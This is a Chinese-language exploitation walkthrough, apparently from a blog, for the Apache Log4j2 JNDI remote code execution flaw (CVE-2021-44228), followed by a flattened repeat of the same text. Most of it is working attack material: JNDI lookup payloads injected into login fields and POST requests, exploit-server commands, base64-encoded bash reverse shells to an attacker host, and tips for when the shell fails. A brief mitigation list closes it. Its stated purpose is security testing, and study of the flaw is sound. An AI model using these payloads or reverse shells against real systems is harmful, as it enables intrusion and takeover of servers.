Apache Log4j2 JNDI RCE
字数 1316 2025-08-25 22:59:10

Apache Log4j2 JNDI 远程代码执行漏洞 (CVE-2021-44228) 深度分析与复现指南

漏洞概述

Apache Log4j2 是一个基于 Java 的日志记录工具,该工具重写了 Log4j 框架并引入了大量丰富的特性。在 2.0-beta9 到 2.14.1 版本中存在 JNDI 注入漏洞,攻击者可通过构造特殊的数据请求包触发远程代码执行。

漏洞原理

当应用程序使用 Log4j2 记录用户输入时,如果输入包含 ${jndi:ldap://恶意地址/exp} 这样的恶意字符串,Log4j2 会解析并执行 JNDI 查找,导致从攻击者控制的服务器加载并执行恶意代码。

环境准备

  • 受影响版本:Log4j 2.0-beta9 到 2.14.1
  • Java 版本:Java 8(其他版本可能受不同限制)
  • 测试工具:
    • JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
    • JNDIExploit-1.2-SNAPSHOT.jar
    • Burp Suite 或其他抓包工具

漏洞复现方法

1. 基础复现(登录框场景)

  1. 访问存在漏洞的网站(假设为 http://x.x.x/)
  2. 在登录框等用户输入处提交 payload:
    ${jndi:ldap://x.x.x/exp}
    
  3. 观察是否触发 JNDI 连接

2. 通过HTTP请求复现(POST方式)

  1. 使用 Burp Suite 拦截正常请求
  2. 修改为 POST 请求并添加 payload:
    POST /xxx HTTP/1.1
    Host: xxx
    Content-Type: application/x-www-form-urlencoded
    Content-Length: xx
    
    payload=${jndi:ldap://x.x.x/exp}
    
  3. 发送请求并观察响应

3. 命令执行复现

  1. 启动 JNDI 服务:
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/abc" -A x.x.x.x
    
  2. 使用 Burp Suite 发送包含 JNDI payload 的请求
  3. 检查目标服务器上是否创建了 /tmp/abc 文件

4. 反弹Shell复现(方法一)

  1. 准备反弹Shell命令并Base64编码:
    bash -i >& /dev/tcp/x.x.x/xxx 0>&1
    
    编码后格式:
    bash -c {echo,xxx{base64,-d}|{bash,-i}
    
  2. 启动 JNDI 服务:
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxx{base64,-d}|{bash,-i}" -A x.x.x
    
  3. 发送恶意请求并监听对应端口

5. 反弹Shell复现(方法二)

  1. 使用 JNDIExploit 工具:
    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i x.x.x.x
    
  2. 准备反弹Shell命令并进行两次Base64编码
  3. 发送恶意请求:
    payload=${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/二次编码后的命令}
    

6. 本地复现

  1. 编写恶意Java类:
    import org.apache.logging.log4j.Logger;
    import org.apache.logging.log4j.LogManager;
    
    public class log4jRCE {
        private static final Logger logger = LogManager.getLogger(log4jRCE.class);
        public static void main(String[] args) {
            logger.error("${jndi:ldap://x.x.x.x/Basic/Command/calc}");
        }
    }
    
  2. 编译为JAR文件
  3. 执行时添加参数:
    java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar Log4j-rce.jar
    
    java -Dcom.sun.jndi.rmi.object.trustURLCodebase=true -jar Log4j-rce.jar
    

常见问题解决

  1. 反弹Shell不成功

    • 确保命令正确Base64编码
    • 检查防火墙设置
    • 确认目标服务器出站连接是否被限制
    • 尝试不同的JNDI工具(JNDI-Injection-Exploit 或 JNDIExploit)
  2. 收到"sending remote"而非"sending local"

    • 检查网络配置
    • 确保工具版本正确
    • 尝试指定完整的URL路径

防御措施

  1. 升级到 Log4j 2.15.0 或更高版本
  2. 临时缓解方案:
    • 设置系统属性 log4j2.formatMsgNoLookups=true
    • 移除 JndiLookup 类
  3. 限制出站网络连接
  4. 对用户输入进行严格过滤

工具下载

  • JNDI-Injection-Exploit: [GitHub仓库]
  • JNDIExploit: [GitHub仓库]
  • 各种PoC示例代码

通过以上详细步骤,安全研究人员可以全面了解Log4j2漏洞的原理和利用方式,从而更好地进行安全测试和防御措施验证。

Apache Log4j2 JNDI 远程代码执行漏洞 (CVE-2021-44228) 深度分析与复现指南 漏洞概述 Apache Log4j2 是一个基于 Java 的日志记录工具,该工具重写了 Log4j 框架并引入了大量丰富的特性。在 2.0-beta9 到 2.14.1 版本中存在 JNDI 注入漏洞,攻击者可通过构造特殊的数据请求包触发远程代码执行。 漏洞原理 当应用程序使用 Log4j2 记录用户输入时,如果输入包含 ${jndi:ldap://恶意地址/exp} 这样的恶意字符串,Log4j2 会解析并执行 JNDI 查找,导致从攻击者控制的服务器加载并执行恶意代码。 环境准备 受影响版本:Log4j 2.0-beta9 到 2.14.1 Java 版本:Java 8(其他版本可能受不同限制) 测试工具: JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar JNDIExploit-1.2-SNAPSHOT.jar Burp Suite 或其他抓包工具 漏洞复现方法 1. 基础复现(登录框场景) 访问存在漏洞的网站(假设为 http://x.x.x/) 在登录框等用户输入处提交 payload: 观察是否触发 JNDI 连接 2. 通过HTTP请求复现(POST方式) 使用 Burp Suite 拦截正常请求 修改为 POST 请求并添加 payload: 发送请求并观察响应 3. 命令执行复现 启动 JNDI 服务: 使用 Burp Suite 发送包含 JNDI payload 的请求 检查目标服务器上是否创建了 /tmp/abc 文件 4. 反弹Shell复现(方法一) 准备反弹Shell命令并Base64编码: 编码后格式: 启动 JNDI 服务: 发送恶意请求并监听对应端口 5. 反弹Shell复现(方法二) 使用 JNDIExploit 工具: 准备反弹Shell命令并进行两次Base64编码 发送恶意请求: 6. 本地复现 编写恶意Java类: 编译为JAR文件 执行时添加参数: 或 常见问题解决 反弹Shell不成功 : 确保命令正确Base64编码 检查防火墙设置 确认目标服务器出站连接是否被限制 尝试不同的JNDI工具(JNDI-Injection-Exploit 或 JNDIExploit) 收到"sending remote"而非"sending local" : 检查网络配置 确保工具版本正确 尝试指定完整的URL路径 防御措施 升级到 Log4j 2.15.0 或更高版本 临时缓解方案: 设置系统属性 log4j2.formatMsgNoLookups=true 移除 JndiLookup 类 限制出站网络连接 对用户输入进行严格过滤 工具下载 JNDI-Injection-Exploit: [ GitHub仓库 ] JNDIExploit: [ GitHub仓库 ] 各种PoC示例代码 通过以上详细步骤,安全研究人员可以全面了解Log4j2漏洞的原理和利用方式,从而更好地进行安全测试和防御措施验证。